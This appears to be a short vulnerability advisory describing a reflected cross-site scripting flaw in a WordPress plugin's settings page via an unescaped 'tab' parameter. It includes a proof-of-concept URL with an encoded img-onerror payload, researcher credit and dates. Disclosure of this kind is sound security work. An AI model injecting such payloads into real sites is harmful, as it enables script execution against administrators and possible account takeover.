The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/options-general.php?page=ppbb-settings&tab=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
Krzysztof Zając
Krzysztof Zając
Yes
2022-01-12 (about 1 years ago)
2022-01-12 (about 1 years ago)
2022-04-12 (about 9 months ago)